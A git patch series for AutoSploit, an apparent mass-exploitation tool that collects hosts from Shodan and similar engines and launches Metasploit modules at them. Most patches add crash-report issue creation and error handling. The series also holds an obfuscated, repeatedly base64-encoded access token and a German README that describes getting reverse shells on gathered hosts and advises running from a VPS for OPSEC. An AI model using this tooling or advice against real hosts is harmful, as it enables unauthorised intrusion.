+Vm0wd2VFMUdiRmhTV0d4V1YwZG9XVll3WkRSV1ZteHlWMjVrVlUxV2NIbFdNalZyWVZVeFYxZHVhRmRTZWtFeFZtMTRTMk15VGtsaFJscHBWa1ZhU1ZkV1VrZFRNazE0Vkc1V2FsSnRhRzlVVmxwWFRrWmFjbHBFVWxwV2JIQllWVEkxVDFkSFNraFZiR2hhWVRGYU0xWXhXbUZqTVZwMFVteG9hVlpyV1hwV1IzaGhZekZhU0ZOclpGaGlSMmhvVm1wT1UyRkdiRlpYYlhScVlrWmFlVlV5Y3pGV01rcEpVV3hzVjFaNlJUQlpla3BIWXpGT2MxWnNaR2xTYTNCWFZtMHhOR1F3TUhoalJXaHNVakJhVlZWc1VsZFhiR1J5VjIxR2FGWnNjSHBaTUZadlZqRktjMk5HYUZwaGExcG9WbXBHYTJOc1pISlBWbVJPWWxkb1dsWXhXbE5TTVZwMFZtdGthbEpXY0ZsWmExVXhZMVpTVjFkdFJrNVdiRlkxV1ROd1YxWnJNVmRqUldSWFRXNUNTRlpxUm1GV01rNUhWRzFHVTFKV2NFVldiR1EwVVRGYVZrMVZWazVTUkVFNQ==:9 \ No newline at end of file diff --git a/lib/creation/__init__.py b/lib/creation/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py new file mode 100644 index 0000000..8367b19 --- /dev/null +++ b/lib/creation/issue_creator.py @@ -0,0 +1,167 @@ +import re +import sys +import json +import platform +import hashlib +import base64 +try: + from urllib2 import Request, urlopen +except ImportError: + from urllib.request import Request, urlopen + +import requests +from bs4 import BeautifulSoup + +import lib.settings +import lib.output +import lib.banner + +try: + raw_input +except NameError: + raw_input = input + + +def create_identifier(data): + obj = hashlib.sha1() + try: + obj.update(data) + except: + obj.update(data.encode("utf-8")) + return obj.hexdigest()[1:10] + + +def get_token(path): + """ + we know what this is for + """ + with open(path) as _token: + data = _token.read() + token, n = data.split(":") + for _ in range(int(n)): + token = base64.b64decode(token) + return token + + +def ensure_no_issue(param): + """ + ensure that there is not already an issue that has been created for yours + """ + urls = ( + "https://github.com/NullArray/AutoSploit/issues", + "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" + ) + for url in urls: + req = requests.get(url) + param = re.compile(param) + try: + if param.search(req.content) is not None: + return True + except: + content = str(req.content) + if param.search(content) is not None: + return True + return False + + +def find_url(params): + """ + get the URL that your issue is created at + """ + searches = ( + "https://github.com/NullArray/AutoSploit/issues", + "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" + ) + for search in searches: + retval = "https://github.com{}" + href = None + searcher = re.compile(params, re.I) + req = requests.get(search) + status, html = req.status_code, req.content + if status == 200: + split_information = str(html).split("\n") + for i, line in enumerate(split_information): + if searcher.search(line) is not None: + href = split_information[i - 1] + if href is not None: + soup = BeautifulSoup(href, "html.parser") + for item in soup.findAll("a"): + link = item.get("href") + return retval.format(link) + return None + + +def hide_sensitive(): + sensitive = ( + "--proxy", "-P", "--personal-agent", "-q", "--query", "-C", "--config", + "--whitelist", "--msf-path" + ) + args = sys.argv + for item in sys.argv: + if item in sensitive: + try: + item_index = args.index(item) + 1 + hidden = ''.join([x.replace(x, "*") for x in str(args[item_index])]) + args.pop(item_index) + args.insert(item_index, hidden) + return ' '.join(args) + except: + return ' '.join([item for item in sys.argv]) + + +def request_issue_creation(path, arguments, error_message): + """ + request the creation and create the issue + """ + + question = raw_input( + "do you want to create an anonymized issue?[y/N]: " + ) + if question.lower().startswith("y"): + # gonna read a chunk of it instead of one line + chunk = 4096 + with open(path) as data: + identifier = create_identifier(data.read(chunk)) + # gotta seek to the beginning of the file since it's already been read `4096` into it + data.seek(0) + issue_title = "Unhandled Exception ({})".format(identifier) + + issue_data = { + "title": issue_title, + "body": ( + "Autosploit version: `{}`\n" + "OS information: `{}`\n" + "Running context: `{}`\n" + "Error meesage: `{}`\n" + "Error traceback:\n```\n{}\n```\n" + "Metasploit launched: `{}`\n".format( + lib.banner.VERSION, + platform.platform(), + ' '.join(sys.argv), + error_message, + open(path).read(), + lib.settings.MSF_LAUNCHED, + ) + ) + } + + _json_data = json.dumps(issue_data) + if sys.version_info > (3,): # python 3 + _json_data = _json_data.encode("utf-8") + + if not ensure_no_issue(identifier): + req = Request( + url="https://api.github.com/repos/nullarray/autosploit/issues", data=_json_data, + headers={"Authorization": "token {}".format(get_token(lib.settings.TOKEN_PATH))} + ) + urlopen(req, timeout=10).read() + lib.output.info( + "issue has been generated with the title '{}', at the following " + "URL '{}'".format( + issue_title, find_url(identifier) + ) + ) + else: + lib.output.error( + "someone has already created this issue here: {}".format(find_url(identifier)) + ) \ No newline at end of file diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 9bdee43..d16d22b 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -19,7 +19,7 @@ def whitelist_wash(hosts, whitelist_file): whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) washed_hosts = [] - #return supplied hosts if whitelist file is empty + # return supplied hosts if whitelist file is empty if len(whitelist_hosts) == 0: return hosts else: @@ -70,6 +70,8 @@ def start_exploit(self, sep="*" * 10): if self.dry_run: lib.settings.close("dry run was initiated, exploitation will not be done") + lib.settings.MSF_LAUNCHED = True + today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) makedirs(current_run_path) diff --git a/lib/settings.py b/lib/settings.py index 540c5dc..45d8c5b 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -31,12 +31,8 @@ # one bash script to rule them all takes an argument via the operating system START_SERVICES_PATH = "{}/etc/scripts/start_services.sh".format(CUR_DIR) -# rc script path RC_SCRIPTS_PATH = "{}/autosploit_out/".format(CUR_DIR) -# links to all the downloadable modules -MODULE_DOWNLOAD_LINKS = "{}/etc/text_files/links.txt".format(CUR_DIR) - # path to the file that will contain our query QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name @@ -67,6 +63,15 @@ ) } +# has msf been launched? +MSF_LAUNCHED = False + +# token path for issue requests +TOKEN_PATH = "{}/etc/text_files/auth.key".format(CUR_DIR) + +# location of error files +ERROR_FILES_LOCATION = "{}/.autosploit_errors".format(os.path.expanduser("~")) + # terminal options AUTOSPLOIT_TERM_OPTS = { 1: "usage and legal", 2: "gather hosts", 3: "custom hosts", @@ -299,51 +304,21 @@ def configure_requests(proxy=None, agent=None, rand_agent=False): return proxy_dict, header_dict -def download_modules_list(search_string): +def save_error_to_file(error_info): """ - download msf exploit module paths + save an error traceback to log file for further use """ - import re - import requests - import lib.jsonize - try: - from bs4 import BeautifulSoup - except ImportError: - close("in order to install modules you will need to install BeautifulSoup: `pip install beautifulsoup4`") - - related = [] - downloaded_files = [] - with open(MODULE_DOWNLOAD_LINKS) as downloads: - for link in downloads.readlines(): - if search_string == "all": - related.append(link.strip()) - else: - searcher = re.compile(search_string, re.I) - discovered = searcher.findall(link) - if len(discovered) != 0: - related.append(link.strip()) - lib.output.info("discovered a total of {} relevant file(s)".format(len(related))) - for link in related: - filepath = "{}/{}".format(EXPLOIT_FILES_PATH, link.split("/")[-1].replace(".txt", ".json")) - if not os.path.exists(filepath): - req = requests.get(link) - random_temp_file_for_download = "/tmp/{}.AS".format(lib.jsonize.random_file_name()) - raw_content = req.content - with open(random_temp_file_for_download, "a+") as tmp: - raw_exploits = raw_content.split("\n") - length = len(raw_exploits) - lib.output.info("downloading a total of {} module paths".format(length)) - for i, line in enumerate(raw_exploits): - try: - tmp.write(line.split(" ")[3] + os.linesep) - except IndexError: - pass - tmp.seek(0) - lib.jsonize.text_file_to_dict(random_temp_file_for_download, filename=filepath) - lib.output.misc_info("removing created tmp file: '{}'".format(random_temp_file_for_download)) - os.remove(random_temp_file_for_download) - downloaded_files.append(filepath) - else: - lib.output.warning("file: '{}' already exists, skipping".format(filepath)) - return downloaded_files + import string + + if not os.path.exists(ERROR_FILES_LOCATION): + os.makedirs(ERROR_FILES_LOCATION) + acceptable = string.ascii_letters + filename = [] + for _ in range(12): + filename.append(random.choice(acceptable)) + filename = ''.join(filename) + "_AS_error.txt" + file_path = "{}/{}".format(ERROR_FILES_LOCATION, filename) + with open(file_path, "a+") as log: + log.write(error_info) + return file_path diff --git a/requirements.txt b/requirements.txt index c9675f1..57735e1 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ requests==2.18.4 psutil==5.3.0 +beautifulsoup4==4.6.3 From 0fb4403fa105338c38ab0bc8624bc21dc988f04f Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 3 Oct 2018 10:52:02 -0500 Subject: [PATCH 06/77] fix for an issue where whitewashing doesn't work (issue #168) --- lib/exploitation/exploiter.py | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index d16d22b..0e0fc17 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -16,18 +16,22 @@ def whitelist_wash(hosts, whitelist_file): """ remove IPs from hosts list that do not appear in WHITELIST_FILE """ - whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] - lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) - washed_hosts = [] - # return supplied hosts if whitelist file is empty - if len(whitelist_hosts) == 0: - return hosts - else: - for host in hosts: - if host.strip() in whitelist_hosts: - washed_hosts.append(host) + try: + whitelist_hosts = [x.strip() for x in open(whitelist_file).readlines() if x.strip()] + lib.output.info('Found {} entries in whitelist.txt, scrubbing'.format(str(len(whitelist_hosts)))) + washed_hosts = [] + # return supplied hosts if whitelist file is empty + if len(whitelist_hosts) == 0: + return hosts + else: + for host in hosts: + if host.strip() in whitelist_hosts: + washed_hosts.append(host) - return washed_hosts + return washed_hosts + except Exception: + lib.output.warning("unable to whitewash host list, does the file exist?") + return hosts class AutoSploitExploiter(object): From acab90299e3e5236aa43ddc0cd7f406aea9b3013 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 3 Oct 2018 10:52:46 -0500 Subject: [PATCH 07/77] fixes an issue where if the host file isn't present the terminal will crash (issue #166) --- lib/term/terminal.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 8cf1aae..a8a2afb 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -181,7 +181,11 @@ def exploit_gathered_hosts(self, loaded_mods, hosts=None): # If whitelist is specified, return a washed hosts list host_file = lib.exploitation.exploiter.whitelist_wash(open(self.host_path).readlines(), whitelist_file) else: - host_file = open(self.host_path).readlines() + try: + host_file = open(self.host_path).readlines() + except Exception: + lib.output.error("no host file is present, did you gather hosts?") + return else: if whitelist_file is not "" and not whitelist_file.isspace(): # If whitelist is specified, return a washed hosts list @@ -240,7 +244,6 @@ def exploit_gathered_hosts(self, loaded_mods, hosts=None): except AttributeError: lib.output.warning("unable to sort modules by relevance") - def custom_host_list(self, mods): """ provided a custom host list that will be used for exploitation From fb2abd56fd1553d18a5823f60728d70f047e51a3 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 3 Oct 2018 10:53:43 -0500 Subject: [PATCH 08/77] fixes an issue where providing the incorrect input when choosing an exploit mod list will crash the program (issue #167) --- lib/jsonize.py | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/jsonize.py b/lib/jsonize.py index 245020d..5613baf 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -48,12 +48,19 @@ def load_exploits(path, node="exploits"): """ retval = [] file_list = os.listdir(path) + selected = False if len(file_list) != 1: lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) - for i, f in enumerate(file_list, start=1): - print("{}. '{}'".format(i, f[:-5])) - action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) - selected_file = file_list[int(action) - 1] + while not selected: + for i, f in enumerate(file_list, start=1): + print("{}. '{}'".format(i, f[:-5])) + action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) + try: + selected_file = file_list[int(action) - 1] + selected = True + except Exception: + lib.output.warning("invalid selection ('{}'), select from below".format(action)) + selected = False else: selected_file = file_list[0] From 76d19e60aef6eef42fd40dad54bc9943f99096fb Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 3 Oct 2018 10:54:06 -0500 Subject: [PATCH 09/77] bumping version number to 2.2.2 --- lib/banner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/banner.py b/lib/banner.py index 5e39814..c4f1ddb 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.2.1" +VERSION = "2.2.2" def banner_1(line_sep="#--", space=" " * 30): From 713670ae1eb0cee16c57620aebd76d7376684c69 Mon Sep 17 00:00:00 2001 From: Valentin <38182450+itsVale@users.noreply.github.com> Date: Sat, 6 Oct 2018 15:41:44 +0200 Subject: [PATCH 10/77] German README translation. (#177) * Update README.md * Adding README-de.md * Adding link to the german translation. --- .github/.translations/README-de.md | 216 +++++++++++++++++++++++++++++ README.md | 6 +- 2 files changed, 217 insertions(+), 5 deletions(-) create mode 100644 .github/.translations/README-de.md diff --git a/.github/.translations/README-de.md b/.github/.translations/README-de.md new file mode 100644 index 0000000..e158bb1 --- /dev/null +++ b/.github/.translations/README-de.md @@ -0,0 +1,216 @@ +# AutoSploit + +Wie der Name vielleicht sagt, versucht Autosploit automatisiert Remote Hosts zu nutzen. Ziele können automatisch über Shodan, Censys oder Zoomeye gesammelt werden. Es wurden aber außerdem Optionen hinzugefügt, welche es erlauben, eigene Ziele oder Host-Listen hinzuzufügen. Die verfügbaren Metasploit-Module wurden ausgewählt, um die Ausführung von Remote-Code zu erleichtern und um zu versuchen, Reverse TCP Shells und/oder Meterpreter-Sessions zu erhalten. + +**Sicherheitserwägung für den Betrieb** + +Das Empfangen von Verbindungen über deine lokale Maschine ist vielleicht nicht die beste Idee für einen OPSEC-Standpunkt. Ziehe es stattdessen in Betracht, dieses Tool auf einem VPS auszuführen, welches alle benötigten Abhängigkeiten installiert hat. + +Die neue Version von AutoSploit verfügt über ein Feature, welches dir erlaubt, eine Proxy zu setzen, bevor du dich verbindest, und einen benutzerdefinierten User-Agent zu verwenden. + +# Hilfreiche Links + + - [Nutzung](https://github.com/NullArray/AutoSploit#usage) + - [Installation](https://github.com/NullArray/AutoSploit#Installation) + - [Abhängigkeiten](https://github.com/NullArray/AutoSploit#dependencies) + - [Benutzerhandbuch](https://github.com/NullArray/AutoSploit/wiki) + - [Nutzungsmöglichkeiten](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) + - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) + - [Bugs/Ideen melden](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) + - [Entwicklungsleitfäden](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) + - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements) + - [Entwicklung](https://github.com/NullArray/AutoSploit#active-development) + - [Discord-Server](https://discord.gg/9BeeZQk) + - [README-Übersetzungen](https://github.com/NullArray/AutoSploit#translations) + +# Installation + +AutoSploit zu installieren ist sehr einfach. Du kannst den neuesten, Release [hier](https://github.com/NullArray/AutoSploit/releases/tag/2.0) finden. Du kannst außerdem den Master-Branch als [zip](https://github.com/NullArray/AutSploit/zipball/master), als [tarball](https://github.com/NullArray/AutSploit/tarball/master) oder mit einer der folgenden Methoden herunterladen. + +###### Cloning + +```bash +sudo -s << EOF +git clone https://github.com/NullArray/Autosploit.git +cd AutoSploit +chmod +x install.sh +./install.sh +python2 autosploit.py +EOF +``` + +###### Docker + +```bash +sudo -s << EOF +git clone https://github.com/NullArray/AutoSploit.git +cd AutoSploit +chmod +x install.sh +./installsh +cd AutoSploit/Docker +docker network create -d bridge haknet +docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres +docker build -t autosploit . +docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit +EOF +``` + +Auf jedem Linux-System sollte folgendes funktionierern; + +```bash +git clone https://github.com/NullArray/AutoSploit +cd AutoSploit +chmod +x install.sh +./install.sh +``` + +Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; + +```bash +sudo -s << '_EOF' +pip2 install virtualenv --user +git clone https://github.com/NullArray/AutoSploit.git +virtualenv +source /bin/activate +cd +pip2 install -r requirements.txt +chmod +x install.sh +./install.sh +python autosploit.py +_EOF +``` + + +Mehr Informationen über die Nutzung von Docker können [hier](https://github.com/NullArray/AutoSploit/tree/master/Docker) gefunden werden. + +## Nutzung + +Das Programm mit `python autosploit.py` auszuführen, wird eine AutoSploit Terminal Session öffnen. Die Optionen für diese sind im Folgenden aufgelistet. +``` +1. Usage And Legal +2. Gather Hosts +3. Custom Hosts +4. Add Single Host +5. View Gathered Hosts +6. Exploit Gathered Hosts +99. Quit +``` + +Beim Auswählen der Option `2` wirst du aufgefordert, eine Plattform-spezifischen Suchanfrage einzugeben. Gib zum Beispiel `IIS` oder `Apache` ein und wähle eine Suchmaschine aus. Danach werden die gesammelten Hosts gespeichert, um sie in der `Exploit` Komponente nutzen zu können. + +Seit Version 2.0 von AutoSploit, kann dieses ebenfalls mit einer Anzahl von Command Line Argumenten/Flags gestartet werden. Gib `python autosploit.py -h` ein, um alle für dich verfügbaren Optionen anzuzeigen. Zur Referenz sind die Optionen nachfolgend ebenfalls aufgelistet *(auf Englisch)*. + +``` +usage: python autosploit.py -[c|z|s|a] -[q] QUERY + [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH + [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH + [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT + +optional arguments: + -h, --help show this help message and exit + +search engines: + possible search engines to use + + -c, --censys use censys.io as the search engine to gather hosts + -z, --zoomeye use zoomeye.org as the search engine to gather hosts + -s, --shodan use shodan.io as the search engine to gather hosts + -a, --all search all available search engines to gather hosts + +requests: + arguments to edit your requests + + --proxy PROTO://IP:PORT + run behind a proxy while performing the searches + --random-agent use a random HTTP User-Agent header + -P USER-AGENT, --personal-agent USER-AGENT + pass a personal User-Agent to use for HTTP requests + -q QUERY, --query QUERY + pass your search query + +exploits: + arguments to edit your exploits + + -E PATH, --exploit-file PATH + provide a text file to convert into JSON and save for + later use + -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT + set the configuration for MSF (IE -C default 127.0.0.1 + 8080) + -e, --exploit start exploiting the already gathered hosts + +misc arguments: + arguments that don't fit anywhere else + + --ruby-exec if you need to run the Ruby executable with MSF use + this + --msf-path MSF-PATH pass the path to your framework if it is not in your + ENV PATH + --whitelist PATH only exploit hosts listed in the whitelist file +``` + +Falls du AutoSploit auf einem System mit macOS ausführen willst, musst du das Programm trotz der Kompatibilität mit macOS in einer virtuellen Maschine ausführen, sodass es erfolgreich ausgeführt werden kann. Um dies zu tun, sind folgende Schritte nötig; + +```bash +sudo -s << '_EOF' +pip2 install virtualenv --user +git clone https://github.com/NullArray/AutoSploit.git +virtualenv +source /bin/activate +cd +pip2 install -r requirements.txt +chmod +x install.sh +./install.sh +python autosploit.py +_EOF +``` + +## Abhängigkeiten +_Bitte beachte_: Alle Abhängigkeiten sollten über die obige Installationsmethode installiert werden. Für den Fall, dass die Installation nicht möglich ist: + +AutoSploit benötigt die folgenden Python 2.7 Module: + +``` +requests +psutil +``` + +Wenn dir auffällt, dass du diese nicht installiert hast, kannst du sie über Pip installieren, wie nachfolgend gezeigt. + +```bash +pip install requests psutil +``` + +oder + +```bash +pip install -r requirements.txt +``` + +Da das Programm Funktionalität des Metasploit-Frameworkes nutzt, musst du dieses ebenfalls installiert haben. Hole es dir über Rapid7, indem du [hier](https://www.rapid7.com/products/metasploit/) klickst. + +## Danksagung + +Ein besonderer Dank gilt [Ekultek](https://github.com/Ekultek) ohne dessen Beiträge die Version 2.0 dieses Projekts wohl weitaus weniger spektakulär wäre. + +Ebenfalls danke an [Khast3x](https://github.com/khast3x) für das Einrichten der Docker-Unterstützung. + +### Aktive Entwicklung + +Falls du gerne zur Entwicklung dieses Projekts beitragen möchtest, bitte lies zuerst [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md), da diese unsere Leitfäden für Contributions enthält. + +Bitte lies außerdem [die Contribution-Standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards), bevor du eine Pull Request erstellst. + +Falls du Hilfe damit brauchst, den Code zu verstehen, oder einfach mit anderen Mitgliedern der AutoSploit-Community chatten möchtest, kannst du gerne unserem [Discord-Server](https://discord.gg/9BeeZQk) joinen. + +### Anmerkung + +Falls du einem Bug begegnest, bitte fühle dich frei, [ein Ticket zu öffnen](https://github.com/NullArray/AutoSploit/issues). + +Danke im Voraus. + +## Übersetzungen + + - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) + - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) + - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) diff --git a/README.md b/README.md index c7f67e1..7b88d63 100644 --- a/README.md +++ b/README.md @@ -197,11 +197,6 @@ And thanks to [Khast3x](https://github.com/khast3x) for setting up Docker suppor ### Active Development -While this isn't exactly a Beta release, AutoSploit 2.0 is an early release nonetheless as such the tool might be subject to changes in the future. - -I've been working on the new version of the tool in an open source capacity with the help of a number of developers -that have expressed an interest in doing so. If you would like to keep up to date on all the most recent developments be sure to check out the [Development Branch](https://github.com/NullArray/AutoSploit/tree/dev-beta). - If you would like to contribute to the development of this project please be sure to read [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md) as it contains our contribution guidelines. Please, also, be sure to read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) before sending pull requests @@ -218,3 +213,4 @@ Thanks in advance. - [FR](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-fr.md) - [ZH](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-zh.md) + - [DE](https://github.com/NullArray/AutoSploit/blob/master/.github/.translations/README-de.md) From bd554a305974cafded396a2333cf402e9e4d2c3b Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 10 Oct 2018 12:24:04 -0500 Subject: [PATCH 11/77] fixes issue #170, fixes issue #171, fixes issue #196, fixes issue #189 --- autosploit/main.py | 77 +++++++++++++++++++---------------- lib/creation/issue_creator.py | 4 +- lib/exploitation/exploiter.py | 2 - lib/settings.py | 10 ++++- lib/term/terminal.py | 25 +++++++++++- 5 files changed, 77 insertions(+), 41 deletions(-) diff --git a/autosploit/main.py b/autosploit/main.py index 4952d80..151c15e 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -53,41 +53,47 @@ def main(): misc_info("checking for disabled services") # according to ps aux, postgre and apache2 are the names of the services on Linux systems service_names = ("postgres", "apache2") - if "darwin" in platform_running.lower(): - service_names = ("postgres", "apachectl") - - for service in list(service_names): - while not check_services(service): - choice = prompt( - "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( - service.title() - ) - ) - if choice.lower().startswith("y"): - try: - if "darwin" in platform_running.lower(): - cmdline("{} darwin".format(START_SERVICES_PATH)) - elif "linux" in platform_running.lower(): - cmdline("{} linux".format(START_SERVICES_PATH)) - else: - close("your platform is not supported by AutoSploit at this time", status=2) - - # moving this back because it was funky to see it each run - info("services started successfully") - # this tends to show up when trying to start the services - # I'm not entirely sure why, but this fixes it - except psutil.NoSuchProcess: - pass - else: - process_start_command = "`sudo service {} start`" + try: + for service in list(service_names): + while not check_services(service): if "darwin" in platform_running.lower(): - process_start_command = "`brew services start {}`" - close( - "service {} is required to be started for autosploit to run successfully (you can do it manually " - "by using the command {}), exiting".format( - service.title(), process_start_command.format(service) + info( + "seems you're on macOS, skipping service checks " + "(make sure that Apache2 and PostgreSQL are running)" + ) + break + choice = prompt( + "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( + service.title() ) ) + if choice.lower().startswith("y"): + try: + if "darwin" in platform_running.lower(): + cmdline("{} darwin".format(START_SERVICES_PATH)) + elif "linux" in platform_running.lower(): + cmdline("{} linux".format(START_SERVICES_PATH)) + else: + close("your platform is not supported by AutoSploit at this time", status=2) + + # moving this back because it was funky to see it each run + info("services started successfully") + # this tends to show up when trying to start the services + # I'm not entirely sure why, but this fixes it + except psutil.NoSuchProcess: + pass + else: + process_start_command = "`sudo service {} start`" + if "darwin" in platform_running.lower(): + process_start_command = "`brew services start {}`" + close( + "service {} is required to be started for autosploit to run successfully (you can do it manually " + "by using the command {}), exiting".format( + service.title(), process_start_command.format(service) + ) + ) + except Exception: + pass if len(sys.argv) > 1: info("attempting to load API keys") @@ -107,7 +113,7 @@ def main(): else: warning( "no arguments have been parsed, defaulting to terminal session. " - "press 99 to quit and help to get help" + "press 99 to quit and type `help` to view the help menus" ) misc_info("checking if there are multiple exploit files") loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) @@ -121,11 +127,12 @@ def main(): print( "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " "in order for the developers to troubleshoot and repair the " - "issue AutoSploit will need to gather your OS information, metasploit version, " + "issue AutoSploit will need to gather your OS information, " "current arguments, the error message, and a traceback. " "None of this information can be used to identify you in any way\033[0m".format(str(e)) ) error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) - error_file = save_error_to_file(str(error_traceback)) + error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") + error_file = save_error_to_file(str(error_traceback), str(e), error_class) request_issue_creation(error_file, hide_sensitive(), str(e)) diff --git a/lib/creation/issue_creator.py b/lib/creation/issue_creator.py index 8367b19..b67041b 100644 --- a/lib/creation/issue_creator.py +++ b/lib/creation/issue_creator.py @@ -164,4 +164,6 @@ def request_issue_creation(path, arguments, error_message): else: lib.output.error( "someone has already created this issue here: {}".format(find_url(identifier)) - ) \ No newline at end of file + ) + else: + lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) \ No newline at end of file diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 0e0fc17..1c675c5 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -116,8 +116,6 @@ def start_exploit(self, sep="*" * 10): use_ruby = "ruby" if self.ruby_exec else "" msf_path = self.msf_path if self.msf_path is not None else "msfconsole" - - # What's the point of having a workspace if you overwrite it every fucking time.. rc_script_template = ( "workspace -a {workspace}\n" diff --git a/lib/settings.py b/lib/settings.py index 45d8c5b..5fa540b 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -21,6 +21,10 @@ # path to the file containing all the discovered hosts HOST_FILE = "{}/hosts.txt".format(CUR_DIR) +try: + open(HOST_FILE).close() +except: + open(HOST_FILE, "a+").close() # path to the folder containing all the JSON exploit modules EXPLOIT_FILES_PATH = "{}/etc/json".format(CUR_DIR) @@ -304,7 +308,7 @@ def configure_requests(proxy=None, agent=None, rand_agent=False): return proxy_dict, header_dict -def save_error_to_file(error_info): +def save_error_to_file(error_info, error_message, error_class): """ save an error traceback to log file for further use """ @@ -320,5 +324,7 @@ def save_error_to_file(error_info): filename = ''.join(filename) + "_AS_error.txt" file_path = "{}/{}".format(ERROR_FILES_LOCATION, filename) with open(file_path, "a+") as log: - log.write(error_info) + log.write( + "Traceback (most recent call):\n " + error_info.strip() + "\n{}: {}".format(error_class, error_message) + ) return file_path diff --git a/lib/term/terminal.py b/lib/term/terminal.py index a8a2afb..cccf24c 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -3,6 +3,7 @@ import lib.settings import lib.output +import lib.errors import lib.exploitation.exploiter import api_calls.shodan import api_calls.zoomeye @@ -26,6 +27,23 @@ def __init__(self, tokens): lib.output.warning("no hosts file present, you need to gather some hosts") self.host_path = lib.settings.HOST_FILE + @staticmethod + def help_menu_full(): + seperator = "-" * 30 + help_choices = [ + (0, "usage"), + (1, "view"), + (2, "single"), + (3, "exit"), + (4, "gather"), + (5, "exploit"), + (6, "custom"), + ] + print("\n{}\nPossible help choices:".format(seperator)) + for i, _ in enumerate(help_choices): + print("{}- `help {}`".format(" " * 3, help_choices[i][1])) + print("{}\n".format(seperator)) + def usage_and_legal(self): """ shows a display of the output and legal information that resides @@ -166,6 +184,10 @@ def gather_hosts(self, query, given_choice=None, proxy=None, agent=None): else: lib.output.warning("must be integer between 1-{} not string".format(len(lib.settings.API_URLS.keys()))) self.gather_hosts(query, proxy=proxy, agent=agent) + except Exception as e: + lib.settings.stop_animation = True + lib.output.error("unable to search API got error: {}".format(str(e))) + break def exploit_gathered_hosts(self, loaded_mods, hosts=None): """ @@ -184,6 +206,7 @@ def exploit_gathered_hosts(self, loaded_mods, hosts=None): try: host_file = open(self.host_path).readlines() except Exception: + sys.stdout.flush() lib.output.error("no host file is present, did you gather hosts?") return else: @@ -339,7 +362,7 @@ def __config_headers(): else: lib.output.warning("option must be integer not string") elif choice == "help": - lib.output.error("must provide an argument for help IE 'help exploit'") + AutoSploitTerminal.help_menu_full() except KeyboardInterrupt: print("\n") From 41017bbeef5a75e43b1cba97666f8c027a89e1fd Mon 